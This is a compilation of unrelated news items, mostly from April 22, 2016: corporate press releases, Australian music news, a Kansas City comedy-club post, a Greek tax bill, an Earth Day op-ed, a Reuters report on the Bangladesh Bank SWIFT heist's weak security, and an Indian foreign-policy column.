commerce all around the world; we relentlessly pursue operational excellence and continually seek ways to lower costs, reduce risks and eliminate operational inefficiencies. Headquartered in Belgium, SWIFT's international governance and oversight reinforces the neutral, global character of its cooperative structure. SWIFT's global office network ensures an active presence in all the major financial centres. For more information, visit www.swift.com or follow us on Twitter: @swiftcommunity and LinkedIn: SWIFT Contacts:



Cognito

[email protected]

+44 (0)20 7426 9400 Logo - http://photos.prnasia.com/prnh/20160127/8521600559Logo

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[April 22, 2016] Duetto Opens Office in Dubai, Names Hisham Diab Director of Sales for the Middle East and Africa

NEW YORK, April 22, 2016 /PRNewswire/ -- Duetto, the market leader in hotel and casino profit optimization technology, announced that it has opened a new office in Dubai and appointed Hisham Diab as Director of Sales for the Middle East and Africa. The move comes as Duetto continues to expand worldwide  the company now has offices in the Americas, Europe and Asia, as well as the Middle East, and has hotel partners in more than 50 countries. Diab joins Duetto with management experience at Golden Tulip and Starwood Hotels and revenue management experience at Emaar Hospitality Group. He has also led hospitality technology development in the region for companies such as RateGain, Globres, Bookassist and eRevMax/Rate Tiger. "We are happy to welcome Hisham Diab to Duetto," said Patrick Bosworth, CEO and Co-Founder. "As the pace of change in the hotel marketplace continues to accelerate, hotels in the Middle East and Africa are badly in need of innovative solutions to optimize revenue and drive direct bookings. Duetto's technology and Open Pricing are the future of Revenue Strategy and we welcome Hisham as a catalyst for our efforts to help serve hoteliers throughout the region."



Diab said, "I am proud to join Duetto at this exciting moment in the company's growth. Having established itself as the undisputed leader in Revenue Strategy solutions, I am confident that our products will gain rapid adoption throughout the Middle East and Africa. I look forward to helping lead that effort in the months ahead." To learn more about Duetto, meet with Diab at the upcoming Arabian Travel Market (ATM), April 25-28, in Dubai. Contact him at [email protected].

About Duetto

Duetto delivers the most powerful Revenue Strategy solutions to the world's leading hotels and casinos, allowing them to better manage pricing, revenue and business-mix decisions with superior, actionable data. The unique combination of hospitality experience and technology leadership enables Duetto to provide new insights on pricing and demand as a true cloud-based software-as-a-service. With solutions that address the challenges of today's distribution landscape, Duetto's applications are a GameChanger  optimizing profit and guest loyalty. Thanks to rapid marketplace adoption, Duetto is expanding in key markets throughout the Americas, Europe and Asia. More than 1,000 hotels and casinos in more than 50 countries have partnered to use Duetto's Revenue Strategy solutions. Contact: Michael Frenkel, MFC PR  New York

For Duetto

(212) 808-6559

[email protected] To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/duetto-opens-office-in-dubai-names-hisham-diab-director-of-sales-for-the-middle-east-and-africa-300255668.html SOURCE Duetto

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[April 22, 2016] HCL Infosystems Ties-up With Fujitsu India, Strengthens Portfolio of Enterprise Products

NEW DELHI, April 22, 2016 /PRNewswire/ -- HCL Infosystems, one of India's premier IT services, distribution and digital solutions company, has announced a new strategic alliance with Fujitsu India Private Limited, a leading Japanese information and communication technology company offering a full range of technology products, solutions and services. With this association, HCL Infosystems will now be the Value Added Distributor for the entire portfolio of scanners offered by Fujitsu to customers across India. HCL Infosystems offers sales, marketing and last mile connect funder its value-added proposition. This partnership will enable Fujitsu to tap into HCL Infosystems' extensive pan-India network of distribution partners along with its array of rich value-added offerings. This association will further strengthen HCL's rich portfolio of Original Equipment Manufacturers (OEMs) to offer a comprehensive offering and choice to its partners and customers. Speaking on the strategic partnership, Bimal Das, Joint President - Enterprise Products Distribution, HCL InfosystemsLtd. said, "We are delighted to associate with Fujitsu India to bring their entire portfolio of next-generation scanner solutions to targeted customers across India. This partnership reiterates the distribution expertise and value-added capabilities offered by HCL Infosystems to global brands operating in India."



Toru Maki, Head - Imaging Products group, Fujitsu India Private Limited said, "Fujitsu India is pleased to have built a partnership with HCL Infosystems for our scanner business. It is our firm belief that HCL Infosystems will help Fujitsu make a high-powered 'launching pad' to quickly boost scanner sales. We are excited and anticipating great success together with HCL Infosystems." HCL Infosystems has an extensive portfolio of Original Equipment Manufacturers offerings and has announced strategic alliances in the past with companies like Avaya, Symantec, Dell among others.

HCL Infosystems is a value-added distributor of global brands in IT, Office Automation & Infrastructure products providing sales, marketing and last mile connect support to its pan-India channel partner network. It has a distribution network comprising more than 6,000 mid-market accounts across 900 towns, with a wide spectrum of value and volume products. For more information, visit www.hclinfosystems.in Media Contact: Tanay Gogoi

[email protected]

+91-9971179400

HCL Infosystems Reema Bardhan

[email protected]

+91-9891267470

HCL Infosystems Supratik Ranjan Ghosh

[email protected]

+91-8826029966

HCL Infosystems





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Harris Corporation Selected for Australian Battlespace Communication System

Harris Corporation (News - Alert) (NYSE:HRS) has been named the preferred tenderer for an integrated battlespace communication system for the Australian Defence Force.

Harris was selected by the Commonwealth of Australia for the Land 2072 Phase 3 program, which is a critical part of the Australian Army's Networked Digitisation Plan. The plan will modernize the Australian Army's communications network - enhancing operational tempo and command and control.

Under the program, Harris will provide an integrated tactical communications network for voice and data services to tactical forces over line-of-sight and beyond-line-of-sight applications. The solution will include tactical radios and other systems and technology from Harris and other partner companies.

"This agreement reinforces Harris' status as a trusted partner and continues our long-standing commitment to providing the Australian Defence Force with secure communicatins and networking solutions," said Alan Callaghan, president and managing director, Harris Defence Australia. "Harris is proud to be part of such a pivotal program and to support the Australian Army's continued modernization efforts."







About Harris in Australia

Harris Defence Australia is headquartered in Brisbane and also has primary offices in Canberra, Perth and Melbourne, Australia. Harris has served government and commercial customers throughout Australia for more than 25 years. The company has about 150 employees at six locations and provides products, systems and services in tactical and managed satellite communications and systems integration.

About Harris Corporation

Harris Corporation is a leading technology innovator, solving our customers' toughest mission-critical challenges by providing solutions that connect, inform and protect. Harris supports customers in more than 125 countries, has approximately $8 billion in annual revenue and 22,000 employees worldwide. The company is organized into four business segments: Communication Systems, Space and Intelligence Systems, Electronic Systems, and Critical Networks. Learn more at harris.com.

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005093/en/
[April 22, 2016] Once again, SAS Canada Named One of Canada's Greenest Employers

LEED silver certified headquarters and eco-conscious corporate culture key factors to SAS' recurring green ranking TORONTO, April, 22, 2016 /CNW/ - SAS Canada, the leader in analytics, today was named one of Canada's Greenest Employers for 2016. SAS Canada was recognized for its commitment to environmental sustainability, its LEED Silver certified headquarters, and its earth-friendly employee initiatives. The list is published by Mediacorp Canada Inc. "Our environmentally friendly LEED certified headquarters is only a fraction of what makes SAS green," said Cameron Dow, President SAS Canada. "SAS employee's fuel our eco-conscious corporate culture through various green initiatives and our customers benefit from our software tools that help organizations manage their environmental footprint." Launched in 2007, the Canada's Greenest Employers competition is organized by the editors of the Canada's Top 100 Employers project. This special designation recognizes the employers that lead the nation in creating culture of environmental awareness in their organizations. These employers have developed exceptional earth-friendly initiatives -- and are attracting people to their organizations because of their environmental leadership.



Earlier in 2016 SAS Canada SAS celebrated another successful year increasing revenue by 12 per cent over 2014. To support its ongoing growth, SAS Canada will continue hiring for the 27th consecutive year, investing in analytics skills in sales and professional services roles, increasing its workforce by more than 8% per cent across the country. SAS Canada's environmentally friendly Toronto headquarters was LEED Silver certified in 2008 and the company continues to generate public recognition for its leadership in corporate sustainability practices. SAS Canada was honoured with the Award of Excellence  energy conservation  at the 2009 Green Toronto Awards. The headquarters was also the winner of the Real Estate Excellence Award (REX) for Office Development of the Year in 2005.

Take a tour of SAS Canada's Green headquarters to learn more about its earth friendly features in this video. About SAS SAS is the leader in analytics. Through innovative analytics, business intelligence and data management software and services, SAS helps customers at more than 80,000 sites make better decisions faster. Since 1976, SAS has been giving customers around the world THE POWER TO KNOW.

The Canadian subsidiary of SAS has been in operation since 1988. Headquartered in Toronto, SAS employs more than 300 people across the country at its Vancouver, Calgary, Toronto, Ottawa, Quebec City and Montreal offices. www.sas.com/canada SAS and all other SAS Institute Inc. product or service names are registered trademarks or trademarks of SAS Institute Inc. in the USA and other countries.  indicates USA registration. Other brand and product names are trademarks of their respective companies. Copyright  2016 SAS Institute Inc. All rights reserved. SOURCE SAS Canada

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[April 22, 2016] Softchoice Named a Best Workplace in Canada for 11th Consecutive Year

TORONTO, April 22, 2016 /CNW/ - Softchoice, a leading North American IT solutions and managed services company, is honored to be recognized again as a Best Large Workplace in Canada by the Great Place to Work Institute. Marking its 11th consecutive year on the list, Softchoice continues its run as one of Canada's most engaging corporate cultures. "Providing our people with a great working environment, new challenges and opportunities to unleash their potential is at the heart of who we are as a company," said David MacDonald, Softchoice's President and CEO. "After all, it's our people who inspire with new possibilities and who provide the expertise and mentorship to help our clients leverage technology to drive the transformation of their business." This year's list, featured in a special national report in The Globe and Mail, received over 300 competitive nominations and over 60,000 employees participated in the 2016 "Best Workplaces in Canada" survey. Softchoice earned its place after a thorough evaluation of its culture and processes, with the majority of the assessment based on direct employee feedback. Softchoice's award-winning culture stems from its commitment to investing in the growth and development of its people. This is actualized through umerous initiatives, ranging from comprehensive training and on-going leadership development, to multi-faceted recognition programs and employee-led philanthropic efforts like Softchoice Cares. Sustaining a growth-oriented and socially-responsible workplace also involves valuing inclusion, diversity and a healthy working environment.



"Receiving this recognition for the 11th year speaks volumes about the strength of our culture and the people who sustain it," MacDonald said. "This is a wonderful occasion to celebrate the incredible team that brings our culture to life." About Great Place to Work

Great Place to Work is the global authority on high-trust, high-performance workplace cultures. We are a research and consulting firm whose mission is to build a better society by helping companies transform their workplaces. Through proprietary assessment tools, advisory services, and employer branding programs, including workplace certification and Best Workplaces lists, Great Place to Work provides the benchmarks, framework, and expertise needed to create, sustain, and recognize outstanding workplace cultures. In Canada, Great Place to Work produces the annual 100 Best Workplaces list, released in a national feature in the Globe and Mail. This is part of the world's largest annual workplace study, which culminates in a series of national lists in almost 50 countries, including the study's flagship list of 100 Best companies published annually in Fortune magazine. Globally, this survey represents the voices of 11 million employees, including approximately 300,000 from Canada alone. It's what makes this study so credible: the primary determinant used in selecting winners is an employee survey. There's only one way to get on this list  and that's if your employees put you there. About Softchoice As a leading North American provider of IT solutions and managed services, Softchoice combines the efficiency and reliability of a national IT supplier with the personal touch and technical expertise of a local solutions provider. Softchoice's holistic approach to technology includes solution design, implementation, asset management and cloud services, as well as access to one of the most comprehensive and cost-effective technology distribution networks in North America. With over 1,300 employees, Softchoice manages the technology needs of thousands of corporate and public sector organizations across the United States and Canada. Make Softchoice your career choice! Visit our Careers page to search current open positions across North America or to submit your resume. SOURCE Softchoice Corporation

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[April 22, 2016] Immunization mobile app to offer new features to help protect Canadians from infectious diseases

ImmunizeCA helps Canadians keep accurate immunization records and make informed decisions about their health OTTAWA, April 22, 2016 /CNW/ - The Honorable Jane Philpott, Minister of Health, today announced a $3.5 million investment over three years for ImmunizeCA, an innovative mobile app that helps Canadians keep their immunization information close at hand. First launched in 2014, the successful app will be enhanced and expanded in a collaborative project led by researchers from The Ottawa Hospital with support from the Canadian Public Health Association, Immunize Canada and the Better Outcomes Registry and Network at the Children's Hospital of Eastern Ontario. The announcement was made at Ottawa Public Health's main immunization clinic. The mobile app ImmunizeCA helps Canadians store and manage their families' vaccination records. It provides access to vaccination schedules based on information specific to people's home province or territory, and to reliable, expert-approved information about vaccinations for children, adults and travellers. It also offers useful tools such as appointment reminders and local outbreak notifications. Phase Two will create a digital platform that will allow for: Secure access to information so that all family members can share their records;

More functions, including a web-based platform (access through a laptop/desktop computer, as well as through a mobile phone);

Ability to integrate with provincial immunization records;

Customizable schedules and information for individuals with health conditions, such as children with inflammatory bowel disease; and,

Catch-up schedules for newcomers to Canada , including refugees. Quick Facts The Government of Canada is investing $3.5 million over three years to ImmunizeCA Pase Two. This funding leverages significant resources from other key stakeholders. Support includes hosting data, privacy expertise, pilot projects, providing information geared to newcomers, evaluation and testing.

is investing over three years to ImmunizeCA Pase Two. This funding leverages significant resources from other key stakeholders. Support includes hosting data, privacy expertise, pilot projects, providing information geared to newcomers, evaluation and testing. Following this three-year phase, it is expected that the project will become self-sufficient.

Since the launch of Phase One in 2014, ImmunizeCA has been downloaded by more than 140,000 users. The goal of Phase Two is to increase app uptake to 500,000 family accounts.

The ImmunizeCA app is available for secure, free download at the Apple App Store and Google Play. It can also be accessed online at immunizeca.ca.



Quotes

"Immunization is one of the safest and most effective measures in public health and plays a vital role in keeping Canadians and their communities healthy. I am enthused by this app, as ImmunizeCA lets Canadians find the trusted knowledge they need to keep themselves and their families up to date on their vaccinations."

The Honourable Jane Philpott, P.C., M.P.

Minister of Health "I would like to thank the Government of Canada for this significant investment in digital infrastructure, which is an investment in the health of Canadian families. Building on the ImmunizeCA app, a solution for everyday Canadians, we believe we can also make the health care system better."

Dr. Kumanan Wilson, senior scientist and internal medicine specialist at The Ottawa Hospital and professor at the University of Ottawa

"Putting health information into the hands of citizens is an important part of empowering Canadians to protect themselves, and those they love, from vaccine-preventable diseases. The Canadian Public Health Association is pleased to continue its collaboration on the ImmunizeCA app which is an important tool for all Canadians."

Ian Culbert

Executive Director, Canadian Public Health Association "The ImmunizeCA app is an important tool for every Canadian. It instantly provides access to recommended immunization schedules, and expert-approved information. The continued support for this project is a positive step towards the development of new features that will enable Canadians in tracking their immunizations and accessing reliable information."

Dr. Shelly A. McNeil MD FRCPC

Chair, Immunize Canada "Phase Two of ImmunizeCA will contribute greatly to the health of mothers, newborns, children and all Canadians. BORN and CHEO are pleased to help Canadian families manage and share their immunization information by providing them with this secure digital platform. Personal data will be protected to the highest standards."

Dr. Pranesh Chakraborty

Medical Director, BORN Ontario, Children's Hospital of Eastern Ontario Associated Links

Ottawa Hospital Research Institute

ImmunizeCA

Public Health Agency of Canada

Canadian Public Health Association

Immunize Canada SOURCE Public Health Agency of Canada

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[April 22, 2016]

On Earth Day, Secretary Rivera Congratulates Schools Earning Recognition as U.S. Department of Education Green Ribbon Schools

HARRISBURG, Pa., April 22, 2016 /PRNewswire-USNewswire/ -- Secretary of Education Pedro A. Rivera congratulates one school, one postsecondary institution, and one school district for being among the 73 institutions and local education agencies recognized nationwide by the U.S. Department of Education today as Green Ribbon Schools for their efforts on environmental issues.

Park Forest Elementary School in State College, Slippery Rock University, and the School District of Jenkintown all earned Green Ribbon Schools designations from the federal government today.

"Pennsylvania's Green Ribbon Schools represent the commonwealth's commitment to providing students with an education that can present new pathways in fields  like STEM and agriculture  that lead to work in high priority occupations," said Rivera. "Meanwhile, the state's environment benefits as these schools work to reduce their environmental impact. I applaud these schools for their efforts to improve the economy and preserve the nvironment through their conscientious and innovative efforts."







The awards were announced in Washington, D.C. by U.S. Education Secretary John King and Christy Goldfuss, the managing director of the White House Council on Environmental Quality. Across the country, 47 schools, 15 districts, and 11 postsecondary institutions were honored for their innovative environmental efforts.

The Green Ribbon Schools program recognizes schools, districts and institutions of higher education based on their efforts to reduce environmental impact and costs; to improve health and wellness of schools, students and staff; and to provide environmental education, including STEM, civics and green career pathways.

The list of all selected schools, districts, colleges, and universities, as well as their nomination packages, can be found here. A report with highlights on the 73 honorees can be found here.

More information on the federal recognition award can be found here.

MEDIA CONTACT: Nicole Reigelman, 717-783-9802.

To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/on-earth-day-secretary-rivera-congratulates-schools-earning-recognition-as-us-department-of-education-green-ribbon-schools-300256180.html

SOURCE Pennsylvania Department of Education
Splendour In The Grass 2016 sold out in a matter of hours yesterday, much to the surprise of absolutely no one. If youre one of the lucky punters heading to Byron Bay this July, congratulations, youre the envy of many.

But if you missed out and are currently cursing life and the universe for handing you a seriously raw deal, theres still hope for you to see your favourite Splendour 2016 acts do their things on a live stage and you dont even need a passport.

The first wave of Splendour In The Grass 2016 sideshows have now been announced and hey, unlike your (admittedly lucky) mates who are going to Splendour, youll get to see full, headline-length sets from your fav Splendour bands and artists.

Check below for the full list of Splendour 2016 sideshows so far. Theres dates from some major Splendour draws, including the likes of The 1975, Santigold, At The Drive-In, Nothing But Thieves, James Blake, The Kills, and many more.

The 1975

Saturday, 23rd July 2016

Sydney Olympic Park, Sydney

Sunday, 24th July 2016

Hisense Arena, Melbourne

At The Drive-In

Friday, 22nd July 2016

Forum Theatre, Melbourne

Sunday, 24th July 2016

Enmore Theatre, Sydney

Beach Slang & Spring King

Wednesday, 20th July 2016

Oxford Art Factory, Sydney

Sunday, 24th July 2016

Corner Hotel, Melbourne

Crystal Fighters

Wednesday, 20th July 2016

Corner Hotel, Melbourne

Sunday, 24th July 2016

Oxford Art Factory, Sydney

Fat White Family

Saturday, 23rd July 2016

Oxford Art Factory, Sydney

Sunday, 24th July 2016

Yah Yahs, Melbourne

Monday, 25th July 2016

Cherry Bar, Melbourne

The Internet

Tuesday, 26th July 2016

170 Russell, Melbourne

Friday, 29th July 2016

Metro Theatre, Sydney

Jack Garratt & Kacy Hill

Wednesday, 20th July 2016

170 Russell, Melbourne

Thursday, 21st July 2016

Metro Theatre, Sydney

Jake Bugg & Blossoms

Tuesday, 26th July 2016

State Theatre, Sydney

Wednesday, 27th July 2016

Palais Theatre, Melbourne

Friday, 29th July 2016

Metro City, Perth

James Blake

Tuesday, 26th July 2016

Hordern Pavilion, Sydney

Wednesday, 27th July 2016

Margaret Court Arena, Melbourne

Thursday, 28th July 2016

Thebarton Theatre, Adelaide

Saturday, 30th July 2016

HBF Stadium, Perth

The Kills

Saturday, 23rd July 2016

Forum Theatre, Melbourne

Tuesday, 26th July 2016

Metro Theatre, Sydney

Lapsley

Tuesday, 26th July 2016

Howler, Melbourne

Wednesday, 27th July 2016

Oxford Art Factory, Sydney

Mark Lanegan Band

Friday, 22nd July 2016

The Croxton Bandroom, Melbourne

Saturday, 23rd July 2016

The Factory Theatre, Sydney

Nothing But Thieves

Wednesday, 20th July 2016

Ding Dong Lounge, Melbourne

Thursday, 21st July 2016

Oxford Art Factory, Sydney

Peter, Bjorn and John

Wednesday, 20th July 2016

Metro Theatre, Sydney

Thursday, 21st July 2016

The Corner, Melbourne

Santigold

Wednesday, 20th July 2016

The Prince Bandroom, Melbourne

Friday, 22nd July 2016

The Metro Theatre, Sydney

Snakehips

Thursday, 21st July 2016

Villa, Perth

Friday, 22nd July 2016

Max Watts, Sydney

Sunday, 24th July 2016

Max Watts, Melbourne

Leon Bridges

Monday, 18th July 2016

Enmore Theatre, Sydney

Tuesday, 19th July 2016

Forum Theatre, Melbourne
We all woke up this morning to the sad news that music legend Prince had passed away at the age of 57. The multi-talented musician left behind an untouchable and imperishable legacy that will continue to influence countless performers.

Many of the bands and artists the icon, born Prince Rogers Nelson, influenced have already begun sharing tributes online. Even US President Barack Obama issued a statement about Princes passing, calling the late star a creative icon.

However, Justin Biebers, ahem, tribute, hasnt left Prince fans particularly impressed. Responding to another tribute issued via Instagram, Bieber apparently took exception to Prince being referred to as the last of the greatest living performers.

Taking to Instagram, former California Breed guitarist Andrew Watt recounted how he decided to don a Prince T-shirt before a performance earlier in the week, opting to stay in the shirt for next 24 hours out of pure exhaustion.

I wore it again all day yesterday today waking up to this news I am truly beside myselfdevastatedthe last of the greatest living performersmy guitar idolhis connection to ALL his instruments yielded a sexual transcending aura and the world is just less fucking cool without him walking on it, Watt wrote.

This is where Bieber interjected with his own commentary, writing, Well not the last greatest living performer. Indeed, Bieber is right in that there are many great living performers that are still with us, but just dont say it like that, dummy.

Naturally, many have accused Bieber of insensitivity and a lack of propriety (after all, now isnt the time to have a debate over who the last great living performers are), whilst others reckon the pop star was boastfully referring to himself.

He very well couldve been, but we dont think even Justin Bieber could be that cocky and arrogant. At least, we sure hope he isnt. You can check out Watts post in full below.
Paul Dempsey, frontman of Something For Kate and all-round beloved Aussie music veteran, is gearing up to release his sophomore solo LP, Strange Loop, on 13th May and hes now announced a very, um, unstable album pack.

Head on over to Dempseys official website right now and you will find an option to pre-order Strange Loop along with a very limited edition Paul Dempsey bobblehead. Yep, chuck the CD in your car stereo and stick Dempsey on your dash.

You read it correctly! A Paul Dempsey Bobble Head! I mean, why not right?? Tap that oversized noggin and watch that troubled head dance! the website reads. Strictly limited so dont miss out. Approx 18cm high and a 6.5cm wide base.

As for Dempseys new album, weve already heard a taste in the form of Morningless, which has been getting steady airplay over on triple j and, like the rest of the album, was co-produced by Dempsey and Tom Schick (Wilco, Ryan Adams).

With every new song and each new record you just hope to chisel everything a little cleaner than last time, paint the scenery in more precise detail and give some extra dimensions to the stories and also to have as much fun as possible creating all the accompanying noise, said Dempsey.

I feel completely satisfied that Ive done that with this record. Check out the video for Morningless below or head on over to Dempseys official website to pre-order the album and your limited edition bobblehead.
Owen Benjamin Will Dazzle You At Stanfords

A note from our pal Craig on his big weekend plans . . .His comedy career began with being the wild and crazy young comic on Punk'd that would end up in the Tabloid news for being 'the' man in Nicole Richie's life. Owen Benjamin had gone from a classic pianist to being a naughty comic headlining clubs across America. His life would soon change.Jay Leno saw Owen on one of his comedy specials and decided to have him on as a weekly correspondent doing electric piano in studio and on the street with Improv commercials about people and places he would meet and be a part of that night. Result was awesome. Owen stayed with Jay til near the end of his run on the Tonight Show in 2012, four years straight.The Tonight Show success led Benjamin to getting a starring role in the TBS series, Sullivan and Son with Asian/American comic Steve Byrne. The two of them landed what became the number one show on TBS for three years. Last year Owen got married, had a baby and is now doing comedy specials and writing a book about his crazy past relationships and how to 'not' screw up your love life. Benjamin's on stage act at Stanfords will include his comedy on electric piano and of course his stand up material. Its worth the trip. Benjamin will be at Stanfords tonite and Saturday shows at 745/945 pm. Hey if you want more comedy Stanford's has a new 'second room' next to the big stage for late night comedy on us to see are talent get their shot at 9:30 and 11:00 PM. Have dinner before any show our New Orleans chef John is outstanding.Next week one of our favorite KC area guys comes home. James Johann who gained fame as the original opening star with the 'Blue Collar' tour starring Larry, Jeff Foxworthy, Ron White and Bill. James toured with the boys their first year and then went out and co starred with Larry the Cable Guy for a couple more including his show at Kemper in KC. Johann is everywhere today. He is national radio's 'Rural Genius.'Stanfords is now at Rosana Square in Overland Park. Call 913 400 7500 for tix or online at stanfordscomedyclub.com. Have a nice weekend.################
Kansas City Flying Ruckus Tonight!!!





For the late night, check out the Gold Standard Of local discourse talking Kansas City airport plans for the future and the ongoing political/economic slap-fight with the Sunflower State.



Take a peek:



"Mike Shanin interviews Dr. H.C. Wallace about "Telling Your Story: A Time and A Place" which provides an opportunity for veterans to work through war trauma through writing. Mary Anne Murray Simons, Theresa Garza, Jon Stephens and Patrick Tuohey discuss competing plans for the future of KCI, Gov. Sam Brownback's call for a truce in the business border war and transgender legislation in Kansas."



Hopefully, more for the morning update . . . STAY TUNED!!!
"When the Heartland Men's Chorus formed in 1986, the AIDS crisis was at its peak and the idea of a place where gay men could find solace and support was in itself a statement. Thirty years later, the chorus has grown by leaps and bounds, both in terms of its size and popularity. I Rise, the 30th Anniversary concert the chorus was starting to rehearse, will take place at the Folly Theater on June 11th & 12th."

Thiswhich recently achieved a milestone . . .Or . . . Kansas City Pumps Up The Classical Jams . . .OR . . . 'I Rise' Arouses Kansas City Curiosity . . .Beyond all the word play here's a brief description of one of many Kansas City groups doing something more productive than complaining on the Internets . . .More in a bit . . .
The Greek government unveiled a new draft tax bill envisaging new scales and rates on income tax, higher tax rates on income from rents, introducing a 45 pct tax rate on all incomes above 35,000 euros and raising a tax rate on dividends to 15 pct from 10

The Greek government unveiled a new draft tax bill envisaging new scales and rates on income tax, higher tax rates on income from rents, introducing a 45 pct tax rate on all incomes above 35,000 euros and raising a tax rate on dividends to 15 pct from 10 pct. The draft bill also introduces a tax-exempt ceiling of 9,100 euros.

Under the draft bill, the government seeks to introduce a 22 pct tax scale for income up to 20,000 euros, a 29 pct tax scale on incomes from 20,001-30,000 euros, a 37 pct tax scale on income from 30,001-40,000 euros and 45 pct tax scale on incomes from 40,000+ euros. The new tax scales will reduce taxes by around 2,000 euros on annual incomes from wages and pensions up to 20,000 euros. The tax scale will be used for incomes declared by the self-employed without the tax-exempt ceiling of 9,100 euros.

The draft bill also changes the scale of a special solidarity contribution. For incomes up to 12,000 euros a zero contribution, from 12,001-20,000 euros a 2.2 pct scale, from 20,001-30,000 euros a 5.0 pct, from 30,001-40,000 euros a 6.5 pct scale, from 40,001-65,000 euros a 7.5 pct scale, from 65,001 to 220,000 euros a 9.0 pct scale and from 220,001+ euros a 10 pct scale.

Tax rates on incomes from rents will rise from 11 pct to 15 pct (for incomes up to 12,000 euros annually), to 35 pct from 33 pct on incomes from 12,001-35,000 euros and to 45 pct on incomes from 35,000+ euros.

RELATED TOPICS: Greece, Greek tourism news, Tourism in Greece, Greek islands, Hotels in Greece, Travel to Greece, Greek destinations , Greek travel market, Greek tourism statistics, Greek tourism report
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There is a big green wave coming this way that makes Earth Day look like tired baby boomer nostalgia.

The 2019 theme for Earth Day was "Protect Our Species." I didn't know our species needed protection, I thought we were the problem. But reading further, I see they mean "the millions of species that we know and love, and many more that remain to be discovered." They continue:

The unprecedented global destruction and rapid reduction of plant and wildlife populations are directly linked to causes driven by human activity: climate change, deforestation, habitat loss, trafficking and poaching, unsustainable agriculture, pollution and pesticides to name a few. The impacts are far reaching.

At least they put climate change first on their long list. They wouldn't want to make too big a deal about such a controversial subject. But then the Earth Day Network's lead sponsors are a car manufacturer, a delivery company and an airline, so we can't make too big a deal about CO2 emissions. Their mission statement doesn't even mention it.

Meanwhile in London, as I write this, the Natural History Museum is being occupied by what looks like thousands, protesting that "we don't want to end up like the dinosaurs." They are part of a movement that isn't just about one day, but is continuing to occupy Marble Arch. It's a movement that isn't sponsored by car companies, but that started when a hundred academics signed a call to action last October. They cited precedents like the suffragettes, Gandhi, and the civil rights movement. They wrote in December:

We must collectively do whatever's necessary non-violently, to persuade politicians and business leaders to relinquish their complacency and denial. Their "business as usual" is no longer an option. Global citizens will no longer put up with this failure of our planetary duty.

Every one of us, especially in the materially privileged world, must commit to accepting the need to live more lightly, consume far less, and to not only uphold human rights but also our stewardship responsibilities to the planet.

By comparison, the Earth Day message "protect our species" is rather narrow. It's not very specific. It doesn't mention that the single most important thing that we have to do is stop climate change, and doing that is hard.

A few years ago Treehugger emeritus Brian Merchant wrote a great Earth Day post, complaining:

Today, our Earth Day more resembles a toothless, consumerist Hallmark holiday like Father's Day or Halloween. And I'm not even sure we're better off that it exists at all -- under the current Earth Day paradigm, people can watch a cable TV special or buy an organic t-shirt one day of the year, and feel like they've participated. Sorry, not helping. Not really. The environmental challenges we face are too great to stop there.

He was spot on then and it is even more relevant now. He concluded:

If you really want to make Earth Day count... take to the streets. Call for action. Help build awareness; help build a movement. And don't bother with the organic cotton designer clothes.

Extinction Rebellion/CC BY 2.0

That movement exists; it's the Extinction Rebellion. It demands honesty from government, decarbonization by 2025 (think big!), and going beyond politics.

Decarbonization by 2025 is a very tough goal, but as Rosalind notes, we have met tough goals before. We won't get there by looking at bird photos and picking up litter on Earth Day once a year.

Enrique Dans writes in Forbes for an American audience: If You Haven't Heard Of Extinction Rebellion Yet, You Soon Will... noting, "Environmental activism has now moved to its next phase, and will soon be on the political agenda, starving the deniers and the irresponsible of oxygen." It is coming, and it is going to be big. Forget the Earth Day baby boomer nostalgia and hop on board.
Dhaka, April 22

Bangladeshs central bank was vulnerable to hackers because it did not have a firewall and used second-hand switches that cost $10 to network computers connected to the SWIFT global payment network, an investigator into one of the worlds biggest cyber heists said.

The shortcomings made it easier for hackers to break into the Bangladesh Bank system earlier this year and attempt to siphon off nearly $1 billion using the banks SWIFT credentials, said Mohammad Shah Alam, head of the Forensic Training Institute of the Bangladesh polices criminal investigation department.

It could be difficult to hack if there was a firewall, Alam said in an interview. The lack of sophisticated switches, which can cost several hundred dollars or more, also means it is difficult for investigators to figure out what the hackers did and where they might have been based, he said.

Experts in bank security said the findings described by Alam were disturbing.

You are talking about an organisation that has access to billions of dollars and they are not taking even the most basic security precautions, said Jeff Wichman, a consultant with cyber firm Optiv.

Tom Kellermann, a former member of the World Bank security team, said the security shortcomings described by Alam were egregious, and that he believed there were a handful of central banks in developing countries that were equally insecure.

Kellermann, now chief executive of investment firm Strategic Cyber Ventures LLC, said some banks failed to adequately protect their networks because they focused security budgets on physically defending their facilities.

Cyber criminals broke into Bangladesh Bank's system and in early February tried to make fraudulent transfers totalling $951 million from its account at the Federal Reserve Bank of New York. Most of the payments were blocked, but $81 million was routed to accounts in the Philippines and diverted to casinos there. Most of those funds remain missing. Reuters
S Nihal Singh

INDIAS agreement with the US to allow access to its defence facilities to American military on a reciprocal basis, in philosophical terms, a great leap but makes sense in todays geopolitical environment. India has strayed from its proclaimed non-aligned policy in the past in seeking US military assistance during the India-China conflict and in signing an Indo-Soviet pact before the Bangladesh war, but the logistic agreement has a different resonance because much of the rhetoric in the developing world was directed against the US.

The Modi governments decision to go ahead with the agreement against the expected opposition of the Congress and the Left parties flows out of a stark fact. An assertive China is seeking to expand its influence on land and sea in the region and beyond it. In sea power, Beijings action in building islands on shoals in the South China Sea and militarising them to claim most of the two seas  the other being East China Sea  against claims by regional powers has led to a new ball game, with the former enemy Vietnam seeking close relations with Washington and the Philippines, which closed American bases in the early 1990s to invite them back in.

India is not quite in the league of these smaller South-east Asian nations but has the bigger task of prevailing in the Indian Ocean and needs greater heft to do so in the face of an expanding Chinese naval power. In other words, New Delhi needs American power to compete with China. The direction of Indian policy was clear for some time even during the UPA regime as joint exercises with countries such as Japan, Australia and the US grew in size and frequency. The Modi government has now taken this trend to its logical conclusion.

Yet the emotional wrenching it causes among old-time liberals and nationalists is understandable. Long after New Delhi discarded the increasingly flexible concept of non-alignment in framing its policies, the emotional pull of the glory days of the movement in the era of Nehru with India being relatively weak in military terms made Indians 10 feet tall. In time, NAM the movement became like the Janata train with everyone clambering into it, whatever their ideological predilections.

Today we live in a dangerous and changing world, with the old Soviet Union gone, replaced by a diminished Russian Federation, and China being increasingly treated by the only remaining superpower as nearly its peer. The Middle East continues to be a region of great instability and the European Union is increasingly facing its middle age blues without the will to act purposefully on such issues as the influx of refugees from wars in the Middle East and elsewhere.

